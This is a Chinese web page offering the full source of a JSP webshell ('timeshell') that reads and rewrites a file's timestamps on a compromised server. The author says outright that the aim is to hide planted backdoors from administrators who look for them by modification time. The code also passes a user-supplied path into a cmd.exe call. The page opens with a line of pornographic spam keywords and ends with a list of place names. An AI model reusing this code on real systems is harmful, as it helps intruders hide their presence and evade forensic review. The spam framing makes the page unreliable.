最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

JSP 修改文件時間的WEBSHELL

  發(fā)布時間:2009-04-18 13:38:23   作者:佚名   我要評論
JSP 修改文件時間的WEBSHELL 很多網(wǎng)站的管理員通過查看文件的修改時間定位被入侵后流下的網(wǎng)馬與后門,因此修改文件的創(chuàng)建與修改時間可以有效的預(yù)防后門的泄露。 昨天研究了下,JSP只提供了修改“文件修改時間”的接口,卻沒有提供修改“文件創(chuàng)建時間”
JSP 修改文件時間的WEBSHELL
很多網(wǎng)站的管理員通過查看文件的修改時間定位被入侵后流下的網(wǎng)馬與后門,因此修改文件的創(chuàng)建與修改時間可以有效的預(yù)防后門的泄露。
昨天研究了下,JSP只提供了修改“文件修改時間”的接口,卻沒有提供修改“文件創(chuàng)建時間”的接口,因此貌似只能修改“文件修改時間 ”,kj021320的JSP SHELL有這個功能,不過只能修改年月日,而且昨晚我遇到的RESIN 2.1.9 運行不了kj021320的那個SHELL,于是決定自己寫個小的shell!
主要功能:
1.文件的時間屬性查看,包括修改時間與創(chuàng)建時間;
2.文件修改時間的修改,精確到秒;
代碼如下:
(Apache Tomcat/6.0.18下運行通過!)

復(fù)制代碼
代碼如下:

<%@ page import="java.io.*" %>
<%@ page import="java.util.*, java.text.*" %>
<%@ page language="java" import="java.util.Enumeration" contentType="text/html; charset=GB2312"%>
<html>
<head>
<title>JSP timeshell by oldjun</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
<body>
<H1>JSP timeshell by oldjun</H1>
<%!
public static String getFileCreateDate(File _file) {
File file = _file;
try {
Process ls_proc = Runtime.getRuntime().exec("cmd.exe /c dir \"" + file.getAbsolutePath() + "\" /tc");
BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream()));
for (int i = 0; i < 5; i++) {
br.readLine();
}
String stuff = br.readLine();
StringTokenizer st = new StringTokenizer(stuff);
String dateC = st.nextToken();
String time = st.nextToken();
String datetime = dateC.concat(" "+time);
br.close();
return datetime;
} catch (Exception e) {
return null;
}
}
String folderReplace(String folder){
return folder.replace('\\','/');
}
%>
<%
String action = null;
if (request.getParameter("action") == null)
action = "main";
else
action = (String)request.getParameter("action");
if (action.equals("main")) {
%>
<form name= form1 method="post" action="?action=getinfo">
filepath:<input name="file" type="text" size="100" />
(for instance C:/Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time.jsp)

<input type="submit" name="Button" value="getinfo"/>
</form>
<%
}else if (action.equals("getinfo")) {
String filepath = folderReplace(request.getParameter("file"));
File file = new File(filepath);
if(!file.exists()){
out.println("<script lanugage=\"javascript\">alert(\"file:"+filepath+" not find!\");history.back();</script>");
}
%>
filepath:

<%=filepath%>

lastModifiedtime:

<%=new Date(file.lastModified())%>

Createtime:

<%
String Createtime=getFileCreateDate(file);
out.println(Createtime);
%>

now:

<%
Date myDate = new Date();
out.println(myDate.toLocaleString());
%>
<form name= form2 method="post" action="?action=change">
<input name="year" type="text" size="10"/>year
<input name="month" type="text" size="10"/>month
<input name="day" type="text" size="10"/>day
<input name="hour" type="text" size="10"/>hour
<input name="min" type="text" size="10"/>minute
<input name="sec" type="text" size="10"/>second
<input name="file" type="hidden" value="<%=filepath%>" />

<input type="submit" name="Button" value="change"/>
</form>
<%
}else if (action.equals("change")) {
String url="?action=main";
String filepath = folderReplace(request.getParameter("file"));
String year = request.getParameter("year");
String month = request.getParameter("month");
String day = request.getParameter("day");
String hour = request.getParameter("hour");
String min = request.getParameter("min");
String sec = request.getParameter("sec");
File file = new File(filepath);
Calendar calendar=Calendar.getInstance();
calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day),Integer.parseInt(hour),Integer.parseInt(min),Integer.parseInt(sec));
if(file.setLastModified(calendar.getTimeInMillis()))
out.println("<script lanugage=\"javascript\">alert(\"file date change success!\");location.href=\""+url+"\";</script>");
else
out.println("<script lanugage=\"javascript\">alert(\"time error!\");history.back();</script>");
}
%>
</body>
</html>

相關(guān)文章

最新評論

舞钢市| 巴彦县| 轮台县| 洛隆县| 寻乌县| 韩城市| 台州市| 洞口县| 凤山县| 许昌市| 临沭县| 涡阳县| 乌拉特前旗| 三台县| 遵义市| 稻城县| 广州市| 南昌市| 尚志市| 尤溪县| 沾化县| 光山县| 武宁县| 广平县| 通江县| 海伦市| 蕲春县| 修水县| 辽中县| 炉霍县| 固阳县| 贵南县| 仙居县| 台东市| 若尔盖县| 六盘水市| 高雄县| 澜沧| 富民县| 福建省| 凌海市|